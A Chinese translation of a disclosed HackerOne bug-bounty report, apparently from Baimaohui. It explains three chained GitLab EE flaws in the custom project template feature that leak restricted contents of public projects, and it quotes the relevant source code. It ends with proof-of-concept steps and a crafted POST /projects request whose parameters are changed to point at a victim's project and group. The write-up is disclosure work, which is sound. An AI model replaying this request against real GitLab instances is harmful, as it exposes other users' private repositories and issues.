GitLab模板功能漏洞导致的敏感数据泄露—12000美元

iso60001  1613天前

22.png

近期,hackerone公开了研究人员提交的Gitlab模板功能的三个小漏洞,可组合起来窃取敏感信息,详情如下所述。

细节

先让我们从企业版(EE)的ProjectsController开始,它和app/controllers/projects_controller.rb文件相关联。

ee/app/controllers/ee/projects_controller.rb

override :project_params_attributes
    def project_params_attributes
          super + project_params_ee
    end

def project_params_ee
  attrs = %i[
    # ...
    use_custom_template
    # ...
    group_with_project_templates_id
  ]

  # ...

  attrs
end

以上所示方法定义了用户需要传递哪些参数。其中有两个值得注意的参数分别是use_custom_templategroup_with_project_templates_id。而在app/controllers/projects_controller.rb文件的351行,project_params_attributes方法的值被附加到该方法中,这个值表示创建项目时用户可以提供的所有CE属性。CE控制器也允许传递template_name参数。这意味着有三个参数可以传递给create方法中的Projects::CreateService

app/controllers/projects_controller.rb

def create
  @project = ::Projects::CreateService.new(current_user, project_params(attributes: project_params_create_attributes)).execute

  # ...
end

# ...

def project_params_attributes
  [
    # ...
    :template_name,
    # ...
  ]

而在EE中,EE:Projects::CreateServiceProjects::CreateService相关联。前置的EE代码包含验证参数use_custom_templategroup_with_project_templates_id的逻辑。

ee/app/services/ee/projects/create_service.rb

def execute
  # ...

  group_with_project_templates_id = params.delete(:group_with_project_templates_id) if params[:template_name].blank?

  # ...

validate_namespace_used_with_template(project, group_with_project_templates_id)
end

# ...

def validate_namespace_used_with_template(project, group_with_project_templates_id)
  return unless project.group

  subgroup_with_templates_id = group_with_project_templates_id || params[:group_with_project_templates_id]
  return if subgroup_with_templates_id.blank?

  templates_owner = ::Group.find(subgroup_with_templates_id).parent

  unless templates_owner.self_and_descendants.exists?(id: project.namespace_id)
project.errors.add(:namespace, _("is not a descendant of the Group owning the template"))
  end
end

而上述代码就是第一个漏洞存在的地方。在正常情况下,一个项目模板只能被复制到项目模板作为后缀的命名空间中。然而,validate_namespace_used_with_template方法在不是针对一个组创建项目时(return unless project.group)会返回一个nil值。这意味着,如果为在User名称空间中创建的项目提供group_with_project_templates_id值,那么就永远不会执行验证逻辑。这也就意味着在实例变量paramsuse_custom_templategroup_with_project_templates_id参数会被设置。

因为EE代码是预写好的,所以execute方法是在调用Projects::CreateService之前执行的。又因为EE类的验证逻辑被绕过,所以Projects::CreateService类的execute方法会被成功调用:

app/services/projects/create_service.rb

def execute
  if @params[:template_name].present?
        return ::Projects::CreateFromTemplateService.new(current_user, params).execute
  end

  # ...
end

当给定template_name参数时,将返回Projects::CreateFromTemplateService的结果,而不是执行常规流程。这个类的CE代码并不是很重要。而EE类则包含了重要的逻辑:

ee/app/services/ee/projects/create_from_template_service.rb

def execute
  return super unless use_custom_template?

  override_params = params.dup
  params[:custom_template] = template_project if template_project

  ::Projects::GitlabProjectsImportService.new(current_user, params, override_params).execute
end

private

def use_custom_template?
  # ...
    template_name &&
          ::Gitlab::Utils.to_boolean(params.delete(:use_custom_template)) &&
          ::Gitlab::CurrentSettings.custom_project_templates_enabled?
  # ...
end

def template_project
  # ...
        current_user.available_custom_project_templates(search: template_name, subgroup_id: subgroup_id)
        .first
  # ...
end

def subgroup_id
  params[:group_with_project_templates_id].presence
end

这个类做了如下几件事:它确定了一个自定义模板名,并且GitLab实例启用了自定义项目模板。值得注意的是:gitlab.com启用了这个设置。当它通过这些检查时,template_project方法就会被调用。下面是available_custom_project_templates方法的定义:

ee/app/models/ee/user.rb

def available_custom_project_templates(search: nil, subgroup_id: nil)
  templates = ::Gitlab::CurrentSettings.available_custom_project_templates(subgroup_id)

  ::ProjectsFinder.new(current_user: self,
                       project_ids_relation: templates,
                       params: { search: search, sort: 'name_asc' })
                  .execute
end

该方法需要两个参数:searchsubgroup_id。第一个是用户传递的template_name,第二个是group_with_project_templates_idtemplates变量根据以下方法定义获取其值:

ee/app/models/ee/application_setting.rb

def available_custom_project_templates(subgroup_id = nil)
  group_id = subgroup_id || custom_project_templates_group_id

  return ::Project.none unless group_id

  ::Project.where(namespace_id: group_id) 
end

此方法将返回,subgroup_id参数提供给namespace_id的所有Project模型。然后传递给User模型上的available_custom_project_templates方法中的ProjectsFinder。这就是第二个漏洞所在。ProjectsFinder使用一个初始集合,其中包含经过身份验证的用户可以访问的项目。但是,它并不会验证用户的访问级别。这意味着任何项目都是公开的,例如敏感的RepositoryIssueSnippets等,都会被User模型上的available_custom_project_templates方法返回。在理想的情况下,该方法应该根据用户权限返回对应的内容。

如果我们回到EE:Projects::CreateFromTemplateService文件,你能看到template_project通过available_custom_project_templates方法返回首个项目。这意味着params[:custom_template]也许会包含本不应该被泄露的Project模型。而EE::Projects::CreateFromTemplateService类稍后会调用参数更新后的Projects::GitlabProjectsImportService类。

def execute
  super.tap do |project|
    if project.saved? && custom_template
          custom_template.add_export_job(current_user: current_user,
                                     after_export_strategy: export_strategy(project))
    end
  end
end

private

override :prepare_import_params
def prepare_import_params
  super

  if custom_template
    params[:import_type] = 'gitlab_custom_project_template'
  end
end

def custom_template
  strong_memoize(:custom_template) do
    params.delete(:custom_template)
  end
end

def export_strategy(project) 
     Gitlab::ImportExport::AfterExportStrategies::CustomTemplateExportImportStrategy.new(export_into_project_id: project.id)
end

这个EE类是前置的,但是使用super.tap去调用CE代码(super),然后前进到CE代码的结果。如果设置了params[:custom_template],并且通过super调用成功保存了项目,则会为ProjectsFinder返回的custom_template安排一个导出动作。此时用户可能没有权限查看项目的各个部分。此外,导入新创建的项目中的导出文件,是一个新的导出策略。

而这里存在第三个漏洞。当规划好导出动作时,它假定用户已被授权进行导出。在理想情况下,规划好的的Sidekiq作业(ProjectExportWorker)将进行权限检查。这也可以避免当队列堵塞,并且用户在作业执行之前离开项目的TOCTOU问题。当导出作业创建后,将自动将其导入到用户能完全访问的项目中。

将以上三个漏洞结合起来,攻击者就能够获得某个项目中的任何敏感信息。这种攻击仅适用于属于一个组且repositoriesissuespipelinesmerge requests访问受限的公共项目。一个明显的例子即是https://gitlab.com/gitlab-com/finance,它虽然是一个公共项目,但项目很多部分都没有公开。

33.png

PoC

复现步骤如下:

1.以普通用户身份登录并创建一个组,假设组ID是1

2.在这个组中,创建一个公共项目test_project

3.在Settings > General下更新Visibility, project features, permissions,让多个项目部分只对项目成员开放

44.png

4.登陆另一个帐户,转到http://instance/projects/new

5.创建一个新项目,并将相关请求拦截下来

POST /projects HTTP/1.1
Host: instance
...

----------506740453
Content-Disposition: form-data; name="project[use_custom_template]"

false
----------506740453
Content-Disposition: form-data; name="project[template_name]"

----------506740453
Content-Disposition: form-data; name="project[group_with_project_templates_id]"

----------506740453
Content-Disposition: form-data; name="project[name]"

project_name
----------506740453
Content-Disposition: form-data; name="project[namespace_id]"

1
----------506740453
Content-Disposition: form-data; name="project[path]"

project_name
----------506740453--

对于以上请求,更改参数use_custom_templatetruetemplate_name改为攻击目标,group_with_project_templates_id改为受害者创建的组ID。接着发送请求,你将很快看到项目被导入。

55.png

根据项目大小,这一过程可能需要几分钟。最后你就可以看到目标项目的全貌。

66.png

Gitlab在确认漏洞后,发放了12000美金的奖励。

77.png

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://hackerone.com/reports/689314

最新评论

昵称
邮箱
提交评论